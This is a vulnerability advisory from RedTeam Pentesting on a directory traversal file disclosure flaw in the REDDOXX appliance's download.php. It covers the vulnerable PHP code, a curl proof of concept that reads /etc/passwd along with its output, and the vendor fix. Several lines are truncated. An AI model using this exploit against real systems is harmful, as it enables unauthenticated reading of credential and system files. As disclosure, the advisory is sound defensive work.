RedTeam Pentesting discovered an arbitrary file disclosure
vulnerability in the REDDOXX appliance software, which allows
unauthenticated attackers to download arbitrary files from the affected
system.
Details
=======
Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Arbitrary File Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/
Introduction
============
"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."
(from the vendor's homepage)
More Details
============
The REDDOXX appliance [0] contains a PHP script called download.php. It
is available at http://www.example.com/
installations and resides at /opt/reddoxx/local/htdocs/
the local filesystem of the appliance. Through the ISO provided on
the vendor's homepage [1], it was possible to analyze this file and any
other file in a typical REDDOXX appliance installation.
The file contains the following source code (shortened to relevant
sections):
------------------------------
<?php
[...]
// For MD 2.0
$fileName = $_GET['file'];
[...]
// For MD 2.0
if ($fileName <> '') {
$file = $fileName;
$fileID = basename($fileName);
}
// Currently we only allow downloads from session directories
if ((strpos($file, '/opt/reddoxx/wi/Sessions/') === false) &&
(strpos($file, '/opt/reddoxx/data/temp/
die('File is not in session directory: ' . $file);
}
if(!file_exists($file))
{
[...]
}
else
{
// Set headers
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: private' ,false);
header('Content-Description: File Transfer');
header('Content-Disposition: attachment; filename="' . $fileID. '"');
header('Content-Type: application/octet-stream');
header('Content-Transfer-
header('Content-Length: ' . filesize($file));
// Read the file from disk
readfile($file);
}
?>
------------------------------
The script expects a URL parameter called "file" and stores its value in
the variable $fileName. The value of this variable is then copied to the
variable $file, which undergoes two different checks: First, the
function strpos() is used to check whether a certain substring is
contained in the value of the variable. The second check used the function
file_exists() to determine whether the file specified in the variable is
present in the filesystem.
In order to circumvent the first check, a path such as
------------------------------
/opt/reddoxx/data/temp/
------------------------------
can be specified, as there are no protections against directory
traversal in place. This path also passes the second check imposed by
the function file_exists(). Having bypassed both checks, attackers are
now able to reach the readfile() function and download arbitrary files.
Since no authentication checks are in place, the disclosure of arbitrary
files if also possible for unauthenticated attackers.
The same functionality is vulnerable to a cross-site scripting
vulnerability as described in rt-sa-2017-003 [2].
Proof of Concept
================
The following curl command-line can be used to trigger the vulnerability:
------------------------------
$ curl --silent 'http://www.example.com/
'/opt/reddoxx/data/temp/
root:x:0:0:root:/root:/bin/
daemon:x:1:1:daemon:/usr/sbin:
bin:x:2:2:bin:/bin:/usr/sbin/
sys:x:3:3:sys:/dev:/usr/sbin/
sync:x:4:65534:sync:/bin:/bin/
games:x:5:60:games:/usr/games:
man:x:6:12:man:/var/cache/man:
lp:x:7:7:lp:/var/spool/lpd:/
mail:x:8:8:mail:/var/mail:/
news:x:9:9:news:/var/spool/
uucp:x:10:10:uucp:/var/spool/
proxy:x:13:13:proxy:/bin:/usr/
www-data:x:33:33:www-data:/
backup:x:34:34:backup:/var/
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/
irc:x:39:39:ircd:/var/run/
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/
nobody:x:65534:65534:nobody:/
libuuid:x:100:101::/var/lib/
syslog:x:101:104::/home/
messagebus:x:102:105::/var/
sshd:x:103:65534::/var/run/
vboxadd:x:999:1::/var/run/
statd:x:104:65534::/var/lib/
admin:x:0:0:admin,,,:/home/
clamav:x:105:111::/var/lib/
ntp:x:106:112::/home/ntp:/bin/
hacluster:x:107:113:Heartbeat System Account,,,:/usr/lib/heartbeat:
firebird:x:108:114:Firebird Database Administator,,,:/var/lib/
redis:x:109:115:redis server,,,:/var/lib/redis:/bin/
snmp:x:110:116::/var/lib/snmp:
bind:x:111:117::/var/cache/
smbadmin:x:1001:1001::/home/
smbuser:x:1002:1002::/home/
------------------------------
Workaround
==========
None
Fix
===
Update the appliance software to Version 2032 SP2.
Security Risk
=============
This vulnerability can be used by attackers to download arbitrary files
if the filename and path is known from filesystems reachable on the
appliance. Depending on the configuration of the appliance, attackers
can read the credentials stored in the configuration files or extract
session IDs from log files. There are also no authentication checks in
place. Therefore, the vulnerability poses a high risk.
Timeline
========
2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released
References
==========
[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/
(Requires login)
[2] https://www.redteam-
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-
Working at RedTeam Pentesting
=============================
RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.
Komentarų nėra:
Rašyti komentarą